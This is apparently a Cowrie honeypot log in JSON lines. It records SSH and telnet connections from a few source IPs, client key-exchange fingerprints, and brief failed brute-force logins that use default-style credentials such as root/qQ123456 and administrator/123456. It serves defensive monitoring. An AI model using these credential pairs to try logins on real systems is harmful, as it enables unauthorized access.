{"eventid":"cowrie.session.closed","duration":120.00504231452942,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:15:14.636977Z","src_ip":"102.67.221.40","session":"1587f93a8012","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.67.221.40","src_port":14905,"dst_ip":"159.203.135.109","dst_port":23,"session":"6134ed77e477","protocol":"telnet","message":"New connection: 102.67.221.40:14905 (159.203.135.109:23) [session: 6134ed77e477]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:15:16.112534Z"}
{"eventid":"cowrie.session.closed","duration":120.00104236602783,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:15:18.124550Z","src_ip":"102.67.221.40","session":"100f61a21e5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.67.221.40","src_port":14547,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0424826597e","protocol":"telnet","message":"New connection: 102.67.221.40:14547 (159.203.135.109:23) [session: b0424826597e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:15:19.547216Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":53298,"dst_ip":"159.203.135.109","dst_port":22,"session":"d06cad2c1cb4","protocol":"ssh","message":"New connection: 103.75.199.4:53298 (159.203.135.109:22) [session: d06cad2c1cb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:15:30.469481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:15:30.474531Z","src_ip":"103.75.199.4","session":"d06cad2c1cb4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:15:30.574058Z","src_ip":"103.75.199.4","session":"d06cad2c1cb4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:15:30.859932Z","src_ip":"103.75.199.4","session":"d06cad2c1cb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:15:31.959021Z","src_ip":"103.75.199.4","session":"d06cad2c1cb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":51044,"dst_ip":"10.17.0.5","dst_port":22,"session":"e20c431878f0","protocol":"ssh","message":"New connection: 80.94.92.182:51044 (10.17.0.5:22) [session: e20c431878f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:15:35.361373Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:15:35.598943Z","src_ip":"80.94.92.182","session":"e20c431878f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:15:35.602593Z","src_ip":"80.94.92.182","session":"e20c431878f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minima","password":"minima","message":"login attempt [minima/minima] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:15:37.044956Z","src_ip":"80.94.92.182","session":"e20c431878f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:15:38.507457Z","src_ip":"80.94.92.182","session":"e20c431878f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":57760,"dst_ip":"159.203.135.109","dst_port":22,"session":"c410df4a8326","protocol":"ssh","message":"New connection: 103.75.199.4:57760 (159.203.135.109:22) [session: c410df4a8326]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:15:52.441533Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:15:52.444865Z","src_ip":"103.75.199.4","session":"c410df4a8326","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:15:52.541859Z","src_ip":"103.75.199.4","session":"c410df4a8326","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab-runner","password":"gitlab-runner","message":"login attempt [gitlab-runner/gitlab-runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:15:52.826774Z","src_ip":"103.75.199.4","session":"c410df4a8326","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:15:53.924525Z","src_ip":"103.75.199.4","session":"c410df4a8326","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":53456,"dst_ip":"159.203.135.109","dst_port":22,"session":"82e47ff51feb","protocol":"ssh","message":"New connection: 103.75.199.4:53456 (159.203.135.109:22) [session: 82e47ff51feb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:16:14.271575Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:16:14.275396Z","src_ip":"103.75.199.4","session":"82e47ff51feb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:16:14.366874Z","src_ip":"103.75.199.4","session":"82e47ff51feb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qQ123456","message":"login attempt [root/qQ123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:16:14.642408Z","src_ip":"103.75.199.4","session":"82e47ff51feb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:16:15.737917Z","src_ip":"103.75.199.4","session":"82e47ff51feb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":35876,"dst_ip":"159.203.135.109","dst_port":22,"session":"88a24d51802e","protocol":"ssh","message":"New connection: 103.75.199.4:35876 (159.203.135.109:22) [session: 88a24d51802e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:16:36.033353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:16:36.037879Z","src_ip":"103.75.199.4","session":"88a24d51802e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:16:36.131730Z","src_ip":"103.75.199.4","session":"88a24d51802e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"123456","message":"login attempt [administrator/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:16:36.402651Z","src_ip":"103.75.199.4","session":"88a24d51802e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:16:37.495819Z","src_ip":"103.75.199.4","session":"88a24d51802e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":35080,"dst_ip":"159.203.135.109","dst_port":22,"session":"64ab6d1865bb","protocol":"ssh","message":"New connection: 103.75.199.4:35080 (159.203.135.109:22) [session: 64ab6d1865bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:16:57.796537Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:16:57.801139Z","src_ip":"103.75.199.4","session":"64ab6d1865bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:16:57.893288Z","src_ip":"103.75.199.4","session":"64ab6d1865bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"123456","message":"login attempt [elasticsearch/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:16:58.169896Z","src_ip":"103.75.199.4","session":"64ab6d1865bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:16:59.264755Z","src_ip":"103.75.199.4","session":"64ab6d1865bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00506639480591,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:17:16.117472Z","src_ip":"102.67.221.40","session":"6134ed77e477","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00388264656067,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:17:19.550958Z","src_ip":"102.67.221.40","session":"b0424826597e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":59580,"dst_ip":"159.203.135.109","dst_port":22,"session":"0605f1a11e99","protocol":"ssh","message":"New connection: 103.75.199.4:59580 (159.203.135.109:22) [session: 0605f1a11e99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:17:19.605430Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:17:19.612633Z","src_ip":"103.75.199.4","session":"0605f1a11e99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:17:19.703936Z","src_ip":"103.75.199.4","session":"0605f1a11e99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev123456","message":"login attempt [dev/dev123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:17:19.976199Z","src_ip":"103.75.199.4","session":"0605f1a11e99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:17:21.069681Z","src_ip":"103.75.199.4","session":"0605f1a11e99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.67.221.40","src_port":13123,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ace958698b1","protocol":"telnet","message":"New connection: 102.67.221.40:13123 (159.203.135.109:23) [session: 6ace958698b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:17:22.978958Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":38582,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d076a9b340e","protocol":"ssh","message":"New connection: 103.75.199.4:38582 (159.203.135.109:22) [session: 3d076a9b340e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:17:41.558452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:17:41.562932Z","src_ip":"103.75.199.4","session":"3d076a9b340e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:17:41.653679Z","src_ip":"103.75.199.4","session":"3d076a9b340e","protocol":"ssh"}
